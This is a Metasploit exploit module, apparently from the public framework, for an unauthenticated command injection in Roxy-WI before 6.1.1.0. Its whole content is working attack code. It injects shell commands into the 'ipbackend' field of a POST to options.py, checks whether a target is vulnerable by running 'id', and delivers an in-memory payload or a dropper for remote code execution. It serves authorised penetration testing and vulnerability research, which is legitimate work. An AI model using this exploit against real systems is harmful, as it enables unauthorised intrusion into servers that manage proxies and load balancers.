## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nuri Çilengir ', # Author & Metasploit module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory ['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information ['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch ['CVE', '2022-31137'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 25 }, 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :in_memory } ], [ 'Linux (Dropper)', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :dropper } ] ], 'CmdStagerFlavor' => ['printf'], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-07-06', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ] ) end def execute_command(cmd, _opts = {}) return send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'options.py'), 'vars_post' => { 'serv' => '127.0.0.1', 'ipbackend' => "\"; #{cmd} ;#", 'alert_consumer' => Rex::Text.rand_text_alpha_lower(7), 'backend_server' => '127.0.0.1' } }, 10 ) rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT return nil end def check print_status("Checking if #{peer} is vulnerable!") res = execute_command('id') return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res if res.code == 200 && res.body =~ /uid=\d+\(.+\)/ print_status("#{peer} is vulnerable!") return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.') elsif res.code == 200 return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.') else return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.") end end def exploit print_status('Exploiting...') case target['Type'] when :in_memory execute_command(payload.encoded) when :dropper execute_cmdstager end end end